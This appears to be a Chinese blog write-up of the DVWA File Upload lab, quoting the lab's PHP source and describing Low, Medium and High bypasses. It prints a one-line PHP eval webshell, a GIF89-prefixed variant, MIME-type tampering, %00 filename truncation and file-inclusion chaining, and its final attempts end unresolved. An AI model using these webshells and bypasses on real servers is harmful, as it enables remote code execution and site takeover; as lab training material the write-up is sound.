dvwa-File Upload

Low

源碼


image.png

可以看到Low級(jí)別的代碼 沒有對(duì)上傳的文件做 任何限制 可以直接
上傳一句話木馬

<?php @eval($_POST['as']);?>

image.png

打開/hackable/uploads目錄查看一下
image.png

可以看到已經(jīng)上傳成功
用中國(guó)菜刀或者中國(guó)蟻劍連接
image.png

image.png

Medium

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

burp抓包修改文件類型
中等級(jí)限制只能上傳jpg和png 文件且文件大小不能超過100000


image.png

image.png

上傳成功 中國(guó)菜刀連接就行了

方法二:00截?cái)?/h2>
image.png
image.png
image.png

可以看到文件已經(jīng)變了


image.png

截?cái)喽?/h3>

我們將文件名改為 a.php%00.jpg


image.png

然后我們選中 %00 创淡,然后進(jìn)行URL-decode


image.png

點(diǎn)擊 go 英遭,文件上傳成功


image.png

High

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

獲取文件后綴名
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
他的作用是什么呢巫财?
其實(shí)他是防范iis 6.0文件解析漏洞的,有時(shí)我們?yōu)榱死@過限制會(huì)提交這樣形式的文件:
Xx.asp;.xx.jpg xx.jpg
而這句話的作用就是說(shuō)它會(huì)驗(yàn)證文件的最后一個(gè)點(diǎn)之后的格式上面的例子來(lái)說(shuō)就是不管你前面寫了多少葬燎,我只驗(yàn)證最后的 ’.jpg’风响。

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) )
同時(shí)這句話對(duì)上傳文件的類型做了更明確的要求脑蠕,只識(shí)別jpg 和 jpeg 的文件象缀,這個(gè)就有些難度了,而我們只能嘗試一下%00截?cái)嗔恕?
%00在url語(yǔ)言里代表空格“ ”斋扰,因此它起到的作用就是截?cái)辔募暮蟀攵危屗R(shí)別到的文件格式是.jpg,而解析時(shí)會(huì)是前面的腳本格式。我們?cè)囈幌隆?

相關(guān)函數(shù)

substr()

substr() 函數(shù)返回字符串的一部分。
注釋:如果 start 參數(shù)是負(fù)數(shù)且 length 小于或等于 start逗堵,則 length 為 0汁咏。
語(yǔ)法
substr(string,start,length)

strrpos()

定義和用法
strrpos() 函數(shù)查找字符串在另一字符串中最后一次出現(xiàn)的位置帅刊。
注釋:strrpos() 函數(shù)對(duì)大小寫敏感
strrpos(string,find,start)

strtolower()把所有字符轉(zhuǎn)換為小寫

getimagesize

getimagesize(string) :函數(shù)將測(cè)定任何 GIF栏饮,JPG灶平,PNG,SWF,SWC,PSD妇多,TIFF绢彤,BMP,IFF,JP2,JPX,JB2呜达,JPC,XBM 或 WBMP 圖像文件的大小并返回圖像的尺寸以及文件類型和一個(gè)可以用于普通 HTML 文件中 IMG 標(biāo)記中的 height/width 文本字符串戈泼。如果不能訪問 filename 指定的圖像或者其不是有效的圖像挽绩,getimagesize() 將返回 FALSE 并產(chǎn)生一條 E_WARNING級(jí)的錯(cuò)誤唠亚。所以 getimagesize函數(shù)的作用是判斷上傳的文件是不是有效的圖片

00截?cái)?/h2>

點(diǎn)擊 go 暂题,文件上傳失敗


image.png

直接上傳一句話木馬究珊,然后把文件名改為 a.jpg


image.png

原因是因?yàn)?/h4>

(1)在php<5.3.4中薪者,處理字符串的函數(shù)認(rèn)為0x00是終止符。那么我們可以利用 00截?cái)?漏洞來(lái)上傳我們的一句話木馬 但是實(shí)驗(yàn)環(huán)境是php5.4.45
(2)因?yàn)閮H僅后綴是圖片格式的還不行剿涮,文件內(nèi)容必須還得是圖片格式的
在文件頭部加了jpg格式的 GIF89 標(biāo)識(shí)后成功上傳言津!

GIF89
<?php @eval($_POST['as'])?>

修改后上傳成功


image.png

雖然我上傳成功了,但以jpg為后綴的取试,菜刀不能直接連接悬槽,必須讓他作為php解析
怎么才能讓我們的圖片以 php 格式運(yùn)行呢?
我們可以利用DVWA的文件包含漏洞瞬浓,讓我們的圖片格式的一句話木馬以php格式運(yùn)行初婆。
訪問

http://localhost/DVWA-master/vulnerabilities/fi/?page=file:///E:/phpstudy/PHPTutorial/WWW/DVWA-master/hackable/uploads/1.jpg

然后我們就可以用中國(guó)菜刀進(jìn)行連接了

因?yàn)檫@個(gè)網(wǎng)站是要登錄的,所以我們?cè)诓说吨杏益I猿棉,然后瀏覽網(wǎng)站磅叛,然后登錄就可以在菜刀中保持我們的session。然后就可以獲取Webshell了萨赁。


image.png

但是發(fā)現(xiàn)那里不對(duì)弊琴。。杖爽。敲董。。


image.png

連的不是我的本地慰安。腋寨。。泻帮。精置。
不懂

嘗試另一種方法


image.png
image.png

圖片可以正常訪問

image.png

但是瀏覽器無(wú)法解析
image.png

換成jpg格式試試
image.png

image.png

image.png

。锣杂。脂倦。。還是不行
參考一

參考二

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末元莫,一起剝皮案震驚了整個(gè)濱河市赖阻,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌踱蠢,老刑警劉巖火欧,帶你破解...
    沈念sama閱讀 218,755評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件棋电,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡苇侵,警方通過查閱死者的電腦和手機(jī)赶盔,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,305評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)榆浓,“玉大人于未,你說(shuō)我怎么就攤上這事《妇椋” “怎么了烘浦?”我有些...
    開封第一講書人閱讀 165,138評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)萍鲸。 經(jīng)常有香客問我闷叉,道長(zhǎng),這世上最難降的妖魔是什么脊阴? 我笑而不...
    開封第一講書人閱讀 58,791評(píng)論 1 295
  • 正文 為了忘掉前任握侧,我火速辦了婚禮,結(jié)果婚禮上蹬叭,老公的妹妹穿的比我還像新娘藕咏。我一直安慰自己,他們只是感情好秽五,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,794評(píng)論 6 392
  • 文/花漫 我一把揭開白布孽查。 她就那樣靜靜地躺著,像睡著了一般坦喘。 火紅的嫁衣襯著肌膚如雪盲再。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,631評(píng)論 1 305
  • 那天瓣铣,我揣著相機(jī)與錄音答朋,去河邊找鬼。 笑死棠笑,一個(gè)胖子當(dāng)著我的面吹牛梦碗,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播蓖救,決...
    沈念sama閱讀 40,362評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼洪规,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了循捺?” 一聲冷哼從身側(cè)響起斩例,我...
    開封第一講書人閱讀 39,264評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎从橘,沒想到半個(gè)月后念赶,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體础钠,經(jīng)...
    沈念sama閱讀 45,724評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評(píng)論 3 336
  • 正文 我和宋清朗相戀三年叉谜,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了旗吁。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,040評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡停局,死狀恐怖阵漏,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情翻具,我是刑警寧澤,帶...
    沈念sama閱讀 35,742評(píng)論 5 346
  • 正文 年R本政府宣布回还,位于F島的核電站裆泳,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏柠硕。R本人自食惡果不足惜工禾,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,364評(píng)論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望蝗柔。 院中可真熱鬧闻葵,春花似錦、人聲如沸癣丧。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,944評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)胁编。三九已至厢钧,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間嬉橙,已是汗流浹背早直。 一陣腳步聲響...
    開封第一講書人閱讀 33,060評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留市框,地道東北人霞扬。 一個(gè)月前我還...
    沈念sama閱讀 48,247評(píng)論 3 371
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像枫振,于是被迫代替她去往敵國(guó)和親喻圃。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,979評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容